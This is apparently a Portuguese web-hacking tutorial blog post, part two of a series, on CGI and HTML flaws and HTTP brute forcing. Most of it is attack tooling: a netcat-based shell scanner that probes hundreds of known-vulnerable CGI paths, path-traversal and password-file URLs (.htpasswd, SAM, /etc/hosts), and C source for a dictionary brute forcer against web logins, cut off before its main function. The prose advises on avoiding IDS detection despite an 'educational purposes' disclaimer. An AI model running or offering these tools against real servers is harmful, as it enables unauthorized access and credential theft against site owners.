Vulnerabilidades WEB Part. II - (Furos em CGIs, Furos em HTML, Brutal Force)
Autor: Paulo Cesar | Publicado: 2014-03-30T09:03:00-07:00




OBS: Todos os dados e exemplos descritos neste arquivo possuem somente

&nbsp; &nbsp; &nbsp;propositos educacionais, o autor nao se responsabiliza pelo mau uso

&nbsp; &nbsp; &nbsp;dos mesmos.



Continuando...



&nbsp; ***********************************

&nbsp; * &nbsp; &nbsp;HACKING DE WEB &nbsp;PART II &nbsp;*

&nbsp; ***********************************


-------------------------------- INDICE -----------------------------------

1 - INTRODUCAO &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 
2 - POSSIVEIS TECNICAS &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ---------------------------&gt; Artigo anterior
&nbsp; &nbsp;2.1. - Descobrindo o Servidor &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;---------------------------&gt; Artigo anterior
&nbsp; &nbsp;2.2. - Vulnerabilidades no Servidor &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;---------------------------&gt; Artigo anterior
&nbsp; &nbsp;2.3. - Furos em CGIs
&nbsp; &nbsp;2.4. - Furos em HTML
&nbsp; &nbsp;2.5. - Brutal Force
3 - BACKDOORS &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;---------------------------&gt; próximos artigo
&nbsp; &nbsp;3.1. - HTTP Tunel &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;---------------------------&gt; próximos artigo
&nbsp; &nbsp;3.2. - Backdoor em CGI. &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;---------------------------&gt; próximos artigo
4 - TERMINANDO &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;---------------------------&gt; próximos artigo
&nbsp; &nbsp;4.1 - Links e Referencias &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;---------------------------&gt; próximos artigo
&nbsp; &nbsp;4.2 - Consideracoes Finais &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;---------------------------&gt; próximos artigo

---------------------------------------------------------------------------


---------------------------
1 - INTRODUCAO |
---------------------------

Existem centenas de Script Kiddies mudando paginas Internet a fora através
de má implementações de Servidores WEB.No entanto, o Servidor WEB mais
atacado é o que menos encontra-se em redes dita 'seguras'.
Neste artigo eu pretendo abordar alguns esquemas bem mais úteis que apenas alterar uma
página do servidor, e tambem pretendo descrever formas básicas de se
atacar um Servidor WEB mais seguro, num Sistema Operacional menos Inseguro
(Varios Unix).
Este é mais um artigo que possui como alvo a divulgação de Conceitos e Teorias ao pessoal NewBie Fuçador, logo, se você é um usuário avançado nao irá encontrar nada de útil aqui!

Requisitos:
basicos de TCP/IP e implementacoes Servidoras de HTTP se faz necessario,
ademais um bom sistema operacional(nao windows) para se testar os esquemas
pode ser uma boa opcao.


----------------------------------------
2 - POSSÍVEIS TÉCNICAS | &nbsp; &nbsp; &nbsp; Continuação....
---------------------------------------


2.3. - Furos em CGIs
----------------------

Este é um problema muito encontrado e merece um 'Tutorial' a parte que
em breve deverá ser publicado mais profundamente Aqui no Melhor Defesa é o Ataque.
São vários os possíveis problemas encontrados em Scripts CGIs e as formas de se
exploita-los. Irei descrever algumas coisas bem básicas, mas em breve deve
sair um material mais amplo sobre esta materia('Escrita e Problemas de CGIs').

CGI significa Common Gateway Interface e refere-se aos programas que
executam determinadas tarefas através de um servidor WEB, inclusive comandos
shell no Servidor Alvo.
Abaixo seguem alguns problemas comuns em Scripts CGIs:

* Chamadas Para o Sistema:

Se o Script CGI não seta corretamente meta-caracteres e caracteres ASCII,
o Servidor WEB corre um serio risco.
Se o atacante possui acesso local ao sistema, ele pode setar a variavel Environment 'PATH' e tentar executar código malícioso como usuario comum.

* Abertura de Arquivos:

Vários problemas que também envolvem meta-caracters e variáveis environment.
Em alguns casos é possível redirecionar entradas e saídas.

Um Tutorial mais amplo está a caminho, nele poderemos ver exemplo
práticos e específicos que envolvem estes problemas em algumas linguagens
para escrita de CGIs.

Procurar um CGI válido em uma rede complexa e grande também nao é nada fácil.
Existem centenas de programas que procuram CGIs automaticamente em
servidores WEB, mas a grande maioria, quase todos, nao sao bons programas.
Abaixo segue um script criado por ben-z que vem junto com o Vetescan e
alterado por mim para facilitar ainda mais o seu uso:


Como vocês poderão perceber, ele procura muito CGI, isto não é nada bom, mas estou
colocando apenas para exemplificar uma automação de CGI.
Na maioria das vezes ele retorna uma resposta errada, pois o comportamento de resposta de
um Servidor WEB muda muito, veremos isso mais em detalhes na parte de Brutal Forces.
No entanto se ele encontrar uma vulnerabilidade, ou seja, um CGI valido, como sao muitos CGIs fica praticamente impossível você ter em mente uma 'exploitação' associada a cada uma das centenas de
possibilidades que possa vir a surgir, eu recomendo o seguinte:
Vai em "http://www.securityfocus.com/" &nbsp;e pesquise na 'BugTraq'
informacoes a respeito do CGI que voce encontrou.Os mais velhos conhecem
bem a mais conhecida tecnica de exploitação de CGI que eu já vi, a
do 'PHF' e por incrivel que pareça, ainda hoje existem servidores &nbsp;vulneráveis a isto.




-------------------------- cgichk.sh -----------------------------



#!/bin/sh
# cgiscan.sh by ben-z [3/23/99]
# written for use in fts-rvscan
# Alterado por By SeQ Anjdric.
# Uso: ./cgichk www.alvo.com
# OBS: Necessita do Netcat instalado em sua maquina(nc).

if [ "$#" != 1 ]; then
echo "CGI - Scanner by ben-z e Alterado por By SeQ Anjdric."
echo "Uso: sh cgichk.sh "; echo " "
echo "Exemplo: sh cgichk.sh www.alvo.com"
exit 1
fi
clear
echo "CGI-Scanner by ben-z e Alterado por By SeQ Anjdric"
echo "Comecando Scaneamento...."
echo " "
contador="0"
rm cgilist 1>/dev/null 2>/dev/null
function testcgi {
contador=`expr $contador + 1`
echo -n "[$contador]: Procurando http://$1$2 [**] "
cmsg=" timeout [005]"
rm .tmp 1>/dev/null 2>/dev/null
ycgi="0"
(echo "GET $2" ; sleep 1) | nc -w 4 $1 80 1>.tmp 2>.tmp
cat .tmp | grep -i "<" >/dev/null 2>&1
if [ $? -eq 0 ]; then
 cmsg=" Encontrado!"
 ycgi="1"
fi
cat .tmp | grep -i "not found" >/dev/null 2>&1
if [ $? -eq 0 ]; then
 cmsg="Nao Encontrado [000]"
 ycgi="0"
fi
cat .tmp | grep "404" >/dev/null 2>&1
if [ $? -eq 0 ]; then
 cmsg=" Nao Encontrado [404]"
 ycgi="0"
fi
cat .tmp | grep "403" >/dev/null 2>&1
if [ $? -eq 0 ]; then
 cmsg=" Acesso Negado [403]"
 ycgi="0"
fi
cat .tmp | grep "500" >/dev/null 2>&1
if [ $? -eq 0 ]; then
 cmsg=" Falha no Servidor [500]"
 ycgi="0"
fi
cat .tmp | grep "505" >/dev/null 2>&1
if [ $? -eq 0 ]; then
 cmsg=" Redirecionada [505]"
 ycgi="0"
fi
cat .tmp | grep "302" >/dev/null 2>&1
if [ $? -eq 0 ]; then
 cmsg=" Indisponivel [302]"
 ycgi="0"
fi
echo $cmsg
if [ "$ycgi" = "1" ]; then
 echo "http://$1$2" >>cgilist
fi
}
if [ "$2" != "" ]; then
 testcgi $1 $2
 exit 1
fi

testcgi $1 /....../ all
testcgi $1 /....../config.sys
testcgi $1 /....../etc/hosts
testcgi $1 /../../../../ all
testcgi $1 /../../../../../../../boot.ini
testcgi $1 /../../../../../winnt/repair/sam._
testcgi $1 /../../../../config.sys
testcgi $1 /../../../../etc/hosts
testcgi $1 /.access
testcgi $1 /.bash_history
testcgi $1 /.htaccess
testcgi $1 /.html/............./config.sys
testcgi $1 /.htpasswd
testcgi $1 /.passwd
testcgi $1 /ASPSamp/AdvWorks/equipment/catalog_type.asp
testcgi $1 /Admin_files/order.log
testcgi $1 /AdvWorks/equipment/catalog_type.asp
testcgi $1 /Orders/order.log
testcgi $1 /PDG_Cart/order.log
testcgi $1 /PDG_Cart/shopper.conf
testcgi $1 /PSUser/PSCOErrPage.htm
testcgi $1 /WebShop/logs/cc.txt
testcgi $1 /WebShop/logs/ck.log
testcgi $1 /WebShop/templates/cc.txt
testcgi $1 /_private
testcgi $1 /_vti_bin/_vti_aut/dvwssr.dll
testcgi $1 /_vti_bin/fpcount.exe
testcgi $1 /_vti_inf.html
testcgi $1 /_vti_pvt
testcgi $1 /_vti_pvt/administrators.pwd
testcgi $1 /_vti_pvt/authors.pwd
testcgi $1 /_vti_pvt/service.pwd
testcgi $1 /_vti_pvt/shtml.dll
testcgi $1 /_vti_pvt/shtml.exe
testcgi $1 /_vti_pvt/users.pwd
testcgi $1 /adsamples/config/site.csc
testcgi $1 /bin
testcgi $1 /carbo.dll
testcgi $1 /ccbill/secure/ccbill.log
testcgi $1 /cfdocs/cfmlsyntaxcheck.cfm
testcgi $1 /cfdocs/exampleapp/docs/sourcewindow.cfm
testcgi $1 /cfdocs/exampleapp/email/getfile.cfm?filename=c:\boot.ini
testcgi $1 /cfdocs/expelval/displayopenedfile.cfm
testcgi $1 /cfdocs/expelval/exprcalc.cfm
testcgi $1 /cfdocs/expelval/openfile.cfm
testcgi $1 /cfdocs/expelval/sendmail.cfm
testcgi $1 /cfdocs/snippets/fileexists.cfm
testcgi $1 /cfdocs/snippets/viewexample.cfm
testcgi $1 /cgi
testcgi $1 /cgi-bin
testcgi $1 /cgi-bin/AT-admin.cgi
testcgi $1 /cgi-bin/AT-generate.cgi
testcgi $1 /cgi-bin/Admin_files/order.log
testcgi $1 /cgi-bin/AnyForm2
testcgi $1 /cgi-bin/Cgitest.exe
testcgi $1 /cgi-bin/Count.cgi
testcgi $1 /cgi-bin/FormHandler.cgi
testcgi $1 /cgi-bin/GW5/GWWEB.EXE
testcgi $1 /cgi-bin/UltraBoard.cgi
testcgi $1 /cgi-bin/UltraBoard.pl
testcgi $1 /cgi-bin/add_ftp.cgi
testcgi $1 /cgi-bin/adp
testcgi $1 /cgi-bin/adpassword.txt
testcgi $1 /cgi-bin/ads.setup
testcgi $1 /cgi-bin/aglimpse
testcgi $1 /cgi-bin/alibaba.pl
testcgi $1 /cgi-bin/allmanage.pl
testcgi $1 /cgi-bin/allmanage/adp
testcgi $1 /cgi-bin/allmanage/k
testcgi $1 /cgi-bin/allmanage/settings.cfg
testcgi $1 /cgi-bin/allmanage/userfile.dat
testcgi $1 /cgi-bin/allmanageup.pl
testcgi $1 /cgi-bin/anyboard.cgi
testcgi $1 /cgi-bin/architext_query.pl
testcgi $1 /cgi-bin/authorize/dbmfiles/users
testcgi $1 /cgi-bin/ax-admin.cgi
testcgi $1 /cgi-bin/ax.cgi
testcgi $1 /cgi-bin/bigconf.cgi all
testcgi $1 /cgi-bin/bizdb1-search.cgi
testcgi $1 /cgi-bin/bnbform.cgi
testcgi $1 /cgi-bin/cachemgr.cgi
testcgi $1 /cgi-bin/calender.pl
testcgi $1 /cgi-bin/calender_admin.pl
testcgi $1 /cgi-bin/campas
testcgi $1 /cgi-bin/cart.pl
testcgi $1 /cgi-bin/cgiwrap
testcgi $1 /cgi-bin/classifieds.cgi
testcgi $1 /cgi-bin/clickresponder.pl
testcgi $1 /cgi-bin/cmd.exe
testcgi $1 /cgi-bin/counterfiglet
testcgi $1 /cgi-bin/dbmlparser.exe
testcgi $1 /cgi-bin/dig.cgi
testcgi $1 /cgi-bin/dnewsweb
testcgi $1 /cgi-bin/edit.pl
testcgi $1 /cgi-bin/environ.cgi
testcgi $1 /cgi-bin/excite
testcgi $1 /cgi-bin/faxsurvey
testcgi $1 /cgi-bin/filemail.pl
testcgi $1 /cgi-bin/files.pl
testcgi $1 /cgi-bin/finger
testcgi $1 /cgi-bin/finger.pl
testcgi $1 /cgi-bin/formmail.pl
testcgi $1 /cgi-bin/fpcount.exe
testcgi $1 /cgi-bin/fpexplore.exe
testcgi $1 /cgi-bin/gH.cgi
testcgi $1 /cgi-bin/get32.exe
testcgi $1 /cgi-bin/glimpse
testcgi $1 /cgi-bin/guestbook.cgi
testcgi $1 /cgi-bin/handler
testcgi $1 /cgi-bin/htimage.exe
testcgi $1 /cgi-bin/htmlscript
testcgi $1 /cgi-bin/htsearch
testcgi $1 /cgi-bin/htsearch
testcgi $1 /cgi-bin/iisadmpwd/achg.htr
testcgi $1 /cgi-bin/iisadmpwd/aexp.htr
testcgi $1 /cgi-bin/iisadmpwd/aexp2.htr
testcgi $1 /cgi-bin/iisadmpwd/anot.htr
testcgi $1 /cgi-bin/imagemap.exe
testcgi $1 /cgi-bin/info2www
testcgi $1 /cgi-bin/infosrch.cgi
testcgi $1 /cgi-bin/input.bat
testcgi $1 /cgi-bin/input2.bat
testcgi $1 /cgi-bin/jj
testcgi $1 /cgi-bin/k
testcgi $1 /cgi-bin/loadpage.cgi
testcgi $1 /cgi-bin/mailform.exe
testcgi $1 /cgi-bin/maillist.pl
testcgi $1 /cgi-bin/makechanges/easysteps/easysteps.pl
testcgi $1 /cgi-bin/man.sh
testcgi $1 /cgi-bin/netstat
testcgi $1 /cgi-bin/nph-publish
testcgi $1 /cgi-bin/nph-test-cgi
testcgi $1 /cgi-bin/passwd
testcgi $1 /cgi-bin/passwd.txt
testcgi $1 /cgi-bin/perl.exe
testcgi $1 /cgi-bin/perlshop.cgi
testcgi $1 /cgi-bin/pfdispaly.cgi
testcgi $1 /cgi-bin/pfdisplay
testcgi $1 /cgi-bin/pfdisplay.cgi
testcgi $1 /cgi-bin/phf
testcgi $1 /cgi-bin/php.cgi
testcgi $1 /cgi-bin/plusmail
testcgi $1 /cgi-bin/postcard.pl
testcgi $1 /cgi-bin/printenv
testcgi $1 /cgi-bin/process_bug.cgi
testcgi $1 /cgi-bin/query
testcgi $1 /cgi-bin/responder
testcgi $1 /cgi-bin/rguest.exe
testcgi $1 /cgi-bin/rpm_query
testcgi $1 /cgi-bin/rwwwshell.pl
testcgi $1 /cgi-bin/search.cgi
testcgi $1 /cgi-bin/settings.cfg
testcgi $1 /cgi-bin/sojourn
testcgi $1 /cgi-bin/survey.cgi
testcgi $1 /cgi-bin/test-cgi
testcgi $1 /cgi-bin/test.bat
testcgi $1 /cgi-bin/textcounter.pl
testcgi $1 /cgi-bin/tpgnrock
testcgi $1 /cgi-bin/tst.bat
testcgi $1 /cgi-bin/tst.bat
testcgi $1 /cgi-bin/unlg1.1
testcgi $1 /cgi-bin/unlg1.2
testcgi $1 /cgi-bin/userfile.dat
testcgi $1 /cgi-bin/view-source
testcgi $1 /cgi-bin/visadmin.exe
testcgi $1 /cgi-bin/w3-msql/
testcgi $1 /cgi-bin/webbbs.cgi
testcgi $1 /cgi-bin/webdist.cgi
testcgi $1 /cgi-bin/webplus
testcgi $1 /cgi-bin/websendmail
testcgi $1 /cgi-bin/webwho.pl
testcgi $1 /cgi-bin/wguest.exe
testcgi $1 /cgi-bin/whois_raw.cgi
testcgi $1 /cgi-bin/windmail.exe
testcgi $1 /cgi-bin/wrap
testcgi $1 /cgi-bin/www-sql
testcgi $1 /cgi-bin/wwwadmin.pl
testcgi $1 /cgi-bin/wwwboard.pl
testcgi $1 /cgi-dos/args.bat
testcgi $1 /cgi-dos/args.cmd
testcgi $1 /cgi-local
testcgi $1 /cgi-shl/win-c-sample.exe
testcgi $1 /cgi-src
testcgi $1 /cgi-src/phf.c
testcgi $1 /cgi-win
testcgi $1 /cgi-win/uploader.exe
testcgi $1 /cgibin
testcgi $1 /com1
testcgi $1 /com2
testcgi $1 /com3
testcgi $1 /com4
testcgi $1 /con/con
testcgi $1 /config/checks.txt
testcgi $1 /config/import.txt
testcgi $1 /config/mountain.cfg
testcgi $1 /config/orders.txt
testcgi $1 /default.asp.
testcgi $1 /default.asp::$DATA
testcgi $1 /doc
testcgi $1 /iisadmpwd/aexp2.htr
testcgi $1 /iishelp/iis/misc/iirturnh.htw
testcgi $1 /iissamples/exair/howitworks/codebrws.asp
testcgi $1 /iissamples/exair/search/advsearch.asp
testcgi $1 /iissamples/exair/search/qfullhit.htw
testcgi $1 /iissamples/exair/search/qsumrhit.htw
testcgi $1 /iissamples/iissamples/query.asp
testcgi $1 /iissamples/issamples/oop/qfullhit.htw
testcgi $1 /iissamples/issamples/oop/qsumrhit.htw
testcgi $1 /iissamples/sdk/asp/docs/codebrws.asp
testcgi $1 /log
testcgi $1 /logs
testcgi $1 /mall_log_files/order.log
testcgi $1 /manage/cgi/cgiproc
testcgi $1 /msadc/Samples/SELECTOR/showcode.asp
testcgi $1 /msadc/msadcs.dll
testcgi $1 /msads/Samples/SELECTOR/showcode.asp
testcgi $1 /ncl_items.html
testcgi $1 /order/order.log
testcgi $1 /orders/checks.txt
testcgi $1 /orders/import.txt
testcgi $1 /orders/mountain.cfg
testcgi $1 /orders/order.log
testcgi $1 /orders/orders.txt
testcgi $1 /ping all
testcgi $1 /ping?SomeCrapHere
testcgi $1 /piranha/secure/passwd.php3
testcgi $1 /pw/storemgr.pw
testcgi $1 /quikstore.cfg
testcgi $1 /samples/search/queryhit.htm
testcgi $1 /scripts
testcgi $1 /scripts/CGImail.exe
testcgi $1 /scripts/c32web.exe/ChangeAdminPassword
testcgi $1 /scripts/cart32.exe/cart32clientlist
testcgi $1 /scripts/cmd.exe
testcgi $1 /scripts/convert.bas
testcgi $1 /scripts/counter.exe
testcgi $1 /scripts/dbman/db.cgi?db=invalid-db
testcgi $1 /scripts/emurl/RECMAN.dll
testcgi $1 /scripts/fpcount.exe
testcgi $1 /scripts/iisadmin/ism.dll?http/dir
testcgi $1 /scripts/issadmin/bdir.htr
testcgi $1 /scripts/no-such-file.pl
testcgi $1 /scripts/proxy/w3proxy.dll
testcgi $1 /scripts/slxweb.dll
testcgi $1 /scripts/tools/mkilog.exe
testcgi $1 /scripts/tools/newdsn.exe
testcgi $1 /scripts/uploadn.asp
testcgi $1 /scripts/wa.exe
testcgi $1 /scripts/webbbs.exe
testcgi $1 /scripts/wsisa.dll
testcgi $1 /search97.vts
testcgi $1 /server-status
testcgi $1 /showfile.asp
testcgi $1 /ssi/envout.bat
testcgi $1 /ws_ftp.ini
testcgi $1 /~
testcgi $1 /~bin
testcgi $1 /~guest
testcgi $1 /~log
testcgi $1 /~logs
testcgi $1 /~lp
testcgi $1 /~named
testcgi $1 /~root
testcgi $1 /~test
testcgi $1 /~tmp



-------------------------- cgichk.sh -----------------------------





2.4. - Furos em HTML
---------------------

Se os CGIs são um problema sério, os Furos em HTML conseguem ser ainda
piores.
Má implementação de páginas WEB pode significar um sério risco
a segurança de uma rede, no entanto, como isto é uma prática comum de
usuários leigos, um domínio que serve páginas para muitas pessoas pode ser
um alvo em potencial.

* Problemas com SSI:

SSI refere-se a Server Side Includes(Inclusoes do Lado do Servidor).
É um esquema para uso na WEB que fornece um mecanismo de funcionalidade
interativa de tempo real sem programação.Ele é usado por exemplo para
obter a data/hora do sistema ou para executar um comando local e avaliar
a resposta a fim de tomar uma decisão de fluxo de programa.
São vários os recursos SSI, inclusive, echo,include,fsize,flastmod,exec,config,odbc,
email,if,goto,label e break. Dois comandos destes são de maior
interesse que é, exec e email. Também abordarei os SSI num outro artigo, mas
se voce quer ir adiantando, no link abaixo voce pode ver mais coisas
sobre isto:

http://www.absoluta.org/cgi/cgi_ssi.htm

* Problemas com Marcas Hidden:

Marcas Hidden sao usadas para ocultar determinados parametros em uma
pagina HTML.No entanto se um atacante obtem acesso ao codigo fonte(trivial
neste caso) ele pode alterar os atributos de uma marca hidden e através
do browser se beneficiar deste esquema.


2.4. - Brutal Force
--------------------

Hoje em dia um conceito dominante quando se 'luta' contra ferramentas IDS
é o seguinte: "SE TEM IDS, BRUTAL FORCE NEM PENSAR!"; Esta tecnica é
uma tecnica muito "barulhenta", é muito difícil não deixar rastros que
qualquer Administrador de Redes responsável não detecte.
Deve-se ter muito cuidado com a implementação desta tecnica, mas pode ser uma boa tecnica
em sistemas que utilizam Firewalls em serviços de Autenticacao
(ssh, pop,imap, telnet e etc), mas não usam IDS ou não configuram um IDS para prestar
atenção a Conexões num serviço de autenticacao via porta 80.
Os esquemas para implementação de um Brutal Force a um Servidor WEB variam
muito, pois a resposta dada as requisições de Autenticação podem ser
diversas e na maioria dos casos 'exclusivas' ou seja, o atacante deve
estar preparado para personalizar sua ferramenta para se adaptar as respostas
dada pelo Servidor WEB.O Melhor esquema de Ferramenta para Brutal Force
que pode existir, ao meu ver, é justamente criar um Brutal Force especifico
para a rede alvo.
Existem varios brutais forces disponíveis na Internet para implementar uma
investida no servidor WEB, na parte 'Links e Referencias' eu disponibilizarei futuramente
alguns Brutal Forces para http.

Abaixo segue o codigo fonte de um Brutal Forces ,Enorme este programa, um belo algoritmo,
mas também possui suas limitações.
Eu ando escrevendo um brutal force para isto faz tempo, mas o próprio
tempo não vem deixando eu terminar este programa, mas em todo caso, ele
também é bem especifico, talvez num futuro próximo ele possa ser inserido
em algum txt.


Fiquem atentos as publicações de A Melhor Defesa é o Ataque pois é meu objetivo

expandir e trocar mais informações sobre todas as técnicas usadas por

fuçadores em toda e qualquer implementação, incluso hacking de WEB.



---------------------------- &nbsp; &nbsp;&nbsp;By SeQ Anjdric 2014!&nbsp;&nbsp; --------------------------------







----------------------------- brute_web.c ---------------------------------



/*
 *   Brute Force your way into a Web Server.
 *   -Works best on computers in the same subnet :-)
 *   Coded by BeastMaster V on April 24, 1997.
 *   Email questions or comments to:
 *              bryan@scott.net
 *
 *   In order to use this:
 *   1) Get a dictionary file.
 *      http://www.rootshell.com/hacking/crack_dict.txt.gz
 *   2) Compile this program, and run it. The arguments are-
 *      username dictfile hostname port
 *         << most websites have 'admin' as a user >>
 *   3) Wait for user name and password to appear.
 *
 *   NOTE: If you want to see the webserver's response,
 *   define VERBOSE when compiling.
 *
 *   WARNING: If the webserver logs, it will
 *   be obvious that you are attacking!
 *
 *   DISCLAIMER: Please use this program in a
 *   responsible manner.
 *
 */

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

extern int errno;

/* Change this to whatever document you want to get off the web server */
#define DEFAULT_DOCUMENT "/"

char alphabet[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
                  "0123456789+/";

unsigned char buf_64[512];

unsigned short socket_timeout=20;
char line[2048];

enum TOKENTYPE { NONE, BLANKS, PUNCT, TAG, NAME, CONTENT };

struct TOKEN {
                char *text;
                int  length;
                int  index;
                enum TOKENTYPE type;
             };

struct BASE64_PARAMS {
                        unsigned long int accum;
                        int               shift;
                        int               save_shift;
                     };

int read_dict_file ( char *buff, FILE *f )
{
int b, i;
*buff = 0;
do {
while ((b = fgetc(f)) != EOF && (b == ' '||b == '\t'||b =='\n' ||b == '\r'));
        if ( b == EOF ) return(0);
        for ( i = 0; b != EOF && b != '\n' && b != '\r'; i++ )
        {
            buff[i] = (b == '\t') ? ' ': b;
            b = fgetc(f);
        }
        buff[i] = 0;
   }
   while (*buff == '#');

   return(1);
}


void    (*r_signal(sig, func, fd_socket, fd_accept)) (int)
int     sig;
void    (*func) ();
int fd_socket;
int fd_accept;
{
        struct sigaction act, oact;

        act.sa_handler = func;

        sigemptyset(&act.sa_mask);
        act.sa_flags = 0;
#ifdef SA_RESTART
        act.sa_flags |= SA_RESTART;
#endif
        if (sigaction(sig, &act, &oact) < 0)
                return (SIG_ERR);

        return (oact.sa_handler);
}


/* Read 'n' bytes from a descriptor  */
int readn(fd, ptr, nbytes)
register int fd;
register char *ptr;
register int nbytes;
{
        int nleft, nread;

        nleft=nbytes;
        while(nleft > 0) {
                nread=read(fd,ptr,nleft);

                if (nread<0)
                        return(nread);
                else if (nread==0)
                        break;

                nleft -=nread;
                ptr +=nread;
        }
        return(nbytes-nleft);
}

/* Write 'n' bytes to a descriptor */
int writen(fd, ptr, nbytes)
register int fd;
register char *ptr;
register int nbytes;
{
        int nleft, nwritten;

        nleft=nbytes;
        while(nleft > 0) {
                nwritten=write(fd, ptr, nleft);
                if(nwritten <= 0)
                        return(nwritten);

                nleft -= nwritten;
                ptr += nwritten;
        }
        return(nbytes-nleft);
}

char * dateTime()
{
        time_t t;
        char * s;
        time(&t);
        s = (char *)ctime((const time_t *)&t);
        s[24] = '\0';
        return s;
}

void handle_SIGSEGV (void)
{
        fprintf(stderr, "\nSegmentation Violation! [%s]\n", dateTime());
        exit(1);
}

void handle_SIGINT (void)
{
        fprintf(stderr, "\nSignal Interrupt! [%s]\n", dateTime());
        exit(1);
}

void sendln(int s, char buf[1024]) {
        writen(s, buf, strlen(buf), 0);
}

int readln(int s)
{
        int i,done=0,w, result;
        char tmp[1];
        struct timeval timeout;
        fd_set inputs;

        sprintf(line,"");
        i = 0;

        while (!done) {
             FD_ZERO(&inputs);
             FD_SET(s, &inputs);
             timeout.tv_sec = socket_timeout;
                timeout.tv_usec = 0;
 result = select(FD_SETSIZE, &inputs,(fd_set *)0, (fd_set *)0,&timeout);
                switch(result) {
                case 0:
                        printf("\n\nSocket Timeout\n");
                        exit(1);
                        break;
                case -1:
                        perror("select");
                        exit(1);
                        break;
                default:
                        w=readn(s ,tmp, 1);
                        break;
                }
                if (w==0)  return 0;


                if (tmp[0] != 0) {
                        line[i] = tmp[0];
                }
                if (line[i] == '\n') {
                        done = 1;
                }
                i++;
        }
        line[i] = 0;
        return (i);
}

/* Code to call out on a socket */
int call_socket(hostname, portnum)
char *hostname;
u_short portnum;
{
        struct sockaddr_in sa;
        struct hostent *hp;
        int a, s, foo=1;

 if ((hp= gethostbyname(hostname)) == NULL) { /* do we know the host's */
                errno= ECONNREFUSED; /* address? */
                return(-1); /* no */
        }

        bzero(&sa,sizeof(sa));
        bcopy(hp->h_addr,(char *)&sa.sin_addr,hp->h_length); /* set address */
        sa.sin_family= hp->h_addrtype;
        sa.sin_port= htons((u_short)portnum);

        if ((s= socket(hp->h_addrtype,SOCK_STREAM,0)) < 0) /* get socket */
                return(-1);

#ifdef SOCKET_OPTS
        /* set socket options so we can try multiple connects */


if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&foo,sizeof(foo))==-1) {
fprintf(stderr, "Error setting SO_REUSEADDR socket option in call_socket!\n");
                fflush((FILE *)stderr);
                exit(1);
        }
#endif

        if (connect(s,(struct sockaddr *)&sa,sizeof sa) < 0) { /* connect */
                perror("connect failed");
                exit(1);
        }

        return(s);
}

int base64_encode(int quit, struct BASE64_PARAMS *e_p,char *string_to_encode)
{
   int index;
   unsigned long int value;
   unsigned char blivit;
   int z=0;

   index = 0;
   while ( ( *(string_to_encode+z) ) || (e_p->shift != 0) )
   {
      if ( ( *(string_to_encode+z) ) && ( quit == 0 ) )
      {
         blivit = *(string_to_encode +z);
         z++;

         if ( *(string_to_encode+z)==0 )
         {
            quit = 1;
            e_p->save_shift = e_p->shift;
            blivit = 0;
         }
      }
      else
      {
         quit = 1;
         e_p->save_shift = e_p->shift;
         blivit = 0;
      }

      if ( (quit == 0) || (e_p->shift != 0) )
      {
         value = (unsigned long)blivit;
         e_p->accum <<= 8;
         e_p->shift += 8;
         e_p->accum |= value;
      } /* ENDIF */

      while ( e_p->shift >= 6 )
      {

         e_p->shift -= 6;
         value = (e_p->accum >> e_p->shift) & 0x3Fl;
         blivit = alphabet[value];
         buf_64[index++] = blivit;
         if ( index >= 60 )
         {
            buf_64[index] = '\0';
            /* printf( "%s\n", buf_64 ); */
            index = 0;
         }
         if ( quit != 0 )
         {
            e_p->shift = 0;
         }
      }
   }

   if      ( e_p->save_shift == 2 )
   {
      buf_64[index++] = '=';
      if ( index >= 60 )
      {
         buf_64[index] = '\0';
         /* printf( "%s\n", buf_64 ); */
         index = 0;
      }

      buf_64[index++] = '=';
      if ( index >= 60 )
      {
         buf_64[index] = '\0';
         /* printf(  "%s\n", buf_64 ); */
         index = 0;
      }
   }
   else if ( e_p->save_shift == 4 )
   {
      buf_64[index++] = '=';
      if ( index >= 60 )
      {
         buf_64[index] = '\0';
         /* printf( "%s\n", buf_64 ); */
         index = 0;
      }
   }

   if ( index != 0 )
   {
      /* buf_64[index-1]='='; */
      buf_64[index] = '\0';
      /* printf( "%s\n", buf_64 ); */
   }

   return quit;
}

void encode_string (char *namepass)
{
  struct BASE64_PARAMS e_p;
  int quit=0;
  register int i;
  char * some;

  e_p.shift = 0;
  e_p.accum = 0;

  some=(char *)malloc(256);

  /* Nasty hack (forgive the lame coding...) */
  some = (char *)namepass;
  for (i=0;*(some+i);i++);
  *(some+i)=*(some+i-1);
  *(some+i+1)='\0';

  base64_encode(quit, &e_p, (char *)some);
}

void sorry (void)
{
printf("\nSorry, but I could not get in.\n");
printf("There are two reasons why:\n");
printf("1) The user (argv[1]) does not exist on the webserver.\n");
printf("2) The user exists, but his/her passwd was not in your dict_file.\n");
printf("Have a Nice Day. :-)\n\n");
exit(0);
}

void usage(char *prog_name)
{
printf("\nUsage: ");
printf("[%s] username dictfile hostname port\n", prog_name);
printf("\n");
exit(0);
}

int main ( argc, argv )
unsigned int argc;
char **argv;
{

